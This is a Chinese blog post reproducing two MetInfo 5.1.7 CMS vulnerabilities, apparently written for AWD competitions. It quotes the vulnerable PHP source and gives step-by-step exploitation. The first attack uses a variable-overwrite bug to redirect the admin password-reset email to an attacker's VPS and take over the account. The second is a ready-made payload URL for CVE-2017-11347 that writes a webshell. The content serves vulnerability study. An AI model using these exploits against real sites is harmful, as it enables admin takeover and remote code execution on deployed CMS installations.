MetInfo的漏洞复现

首先,比赛中用的metinfo版本是5.1.7,在官网上已经找不到了,但是在GitHub上有人存过,地址是:https://github.com/forget-code/MetInfo/releases

我们在release中下载MetInfo5.1.7并部署到本地

注意的是,这个php必须得用小于5.3的版本,因为里面的某个函数在之后的版本已经被删除了

0x01 后台登录

该CMS的默认后台地址是/admin,我们直接访问过去,在AWD那场比赛中,一开始的默认管理员账号密码是admim/123456

而在这个cms中,有一个忘记密码的功能,而这个功能就能做到修改管理员密码

源码分析

找回密码文件的位置在/admin/admin/getpassword.php中

首先,它引入了另一个文件

而在这个common.inc.php中,存在着变量覆盖漏洞,我们过去看看

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value);
	}
}

在该文件中,存在着这样一段代码,用来将COOKIE,GET,POST传入的参数赋值

而这种写法就会导致变量覆盖

我们可以写一个test.php来做个试验

<?php
error_reporting(0);
$a = "123456";
echo "before a=".$a;
echo "<br>";
require_once 'admin\include\common.inc.php';
echo "after a=".$a;
echo "<br>";
echo $b;
?>

我们可以很明显的发现这个文件存在着变量覆盖漏洞

那我们继续看getpassword.php这个文件

其中,发送邮件的代码在第119-125行

require_once ROOTPATH.'include/export.func.php';
				$post=array('to'=>$to,'title'=>$title,'body'=>$body);
				$met_file='/passwordmail.php';
				$sendMail=curl_post($post,30);
				if($sendMail=='nohost')$sendMail=0;	
				$text=$sendMail?$lang_getTip3.$lang_memberEmail.':'.$admin_list['admin_email']:$lang_getTip4;
				okinfo('../index.php',$text);

它引入了另一个文件,我们去看看

在文件的开头就是发送邮件的函数

/*发送POST*/
function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
	if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
		$curlHandle=curl_init(); 
		curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 
		curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
		curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
		curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
		curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
		curl_setopt($curlHandle,CURLOPT_POST, 1);	
		curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
		$result=curl_exec($curlHandle); 
		curl_close($curlHandle); 
	}
	else{

代码的本意是通过$met_host这个官方设置的邮件代理服务器发送邮件,但是因为存在上面的变量覆盖漏洞,我们可以把自己的服务器地址覆盖到$met_host里,那么邮件就会发送到我们的服务器上

具体操作

接来下进行试验

我们在后台登录选择忘记密码并选择邮件的找回方式,抓包并修改增加一个参数$met_host为自己的vps地址,然后在vps上开启80端口的监听

然后在vps上就能够看到修改密码的链接

访问一下

0x02 文件上传getshell-CVE-2017-11347

源码分析

第二个洞是一个cve,但是这个漏洞的利用前提是能够进入后台上传文件,所以配合第一个洞使用效果更佳

漏洞文件位置位于/admin/app/physical/physical.php

$depth='../';
require_once $depth.'../login/login_check.php';
require_once 'physical.fun.php';
require_once $depth.'../../include/export.func.php';
if($action=="do"){
	$physicaldo[1]=1;
	$physicaldo[2]=1;
	$physicaldo[3]=1;
	$physicaldo[4]=1;
	$physicaldo[5]=1;
	$physicaldo[6]=1;
	$physicaldo[7]=1;
	$physicaldo[8]=1;
	$physicaldo[9]=1;
	$physicaldo[10]=1;
	$physicaldo[11]=1;

代码根据action的值来选择执行,我们需要用的是$action=op且switch中$op的值为3时进入的分支

case 3:
			$fileaddr=explode('/',$val[1]);
			$filedir="../../../".$fileaddr[0];  
			if(!file_exists($filedir)){ @mkdir ($filedir, 0777); } 
			if($fileaddr[1]=="index.php"){
				Copyindx("../../../".$val[1],$val[2]);
			}
			else{
			switch($val[2]){
				case 1:
					$address="../about/$fileaddr[1]";
				break;
				case 2:
					$address="../news/$fileaddr[1]";
				break;
				case 3:
					$address="../product/$fileaddr[1]";
				break;
				case 4:
					$address="../download/$fileaddr[1]";
				break;
				case 5:
					$address="../img/$fileaddr[1]";
				break;
				case 8:
					$address="../feedback/$fileaddr[1]";
				break;

			}   
				$newfile  ="../../../$val[1]";  			
				Copyfile($address,$newfile);
			}
			echo $lang_physicalgenok;
			break;

而case=3中的switch语句里的val[2]的值将会决定Copyfile函数的$address,而$newfile的值将会有$val[1]来决定

那这个Copyfile函数又是何方神圣,我们继续跟进,Copyfile函数位于/admin/include/global.func.php文件中

function Copyfile($address,$newfile){
	$oldcont  = "<?php\n# MetInfo Enterprise Content Management System \n# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \nrequire_once '$address';\n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.\n?>";
	if(!file_exists($newfile)){
		$fp = fopen($newfile,w);
		fputs($fp, $oldcont);
		fclose($fp);
	}
}

可以看到该函数会写入一段oldcont,但是这个oldcont中存在require_once调用了$address,而回溯之前的physical文件,我们可以知道$address的值和$newfile的值都是由$val数组决定的,那么$val数组我们能否操作呢,继续回到phpsical.php文件

在第167行,我们可以找到$val数组的产生方式

$val=explode('|',$valphy)

它是由$valphy变量分割而来,那么只要我们使用变量覆盖漏洞将$valphy覆盖成我们想要的文件和路径,我们就可以做到写入shell

操作与payload

首先,我们通过后台的文件上传传入一个写有shell但是正常的文件

比如这个cms允许上传zip后缀的文件,那么我就传一个123.zip,内容为

<?php phpinfo(); ?>

直接传到upload目录下

然后构造如下的payload

http://localhost/metinfo/admin/app/physical/physical.php?action=op&op=3&valphy=abc|123/shell123.php&address=../upload/123.zip

得到提示

然后我们去访问123/shell123.php,可以发现写入shell成功

参考链接

https://blog.csdn.net/qq_38154820/article/details/106329687

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇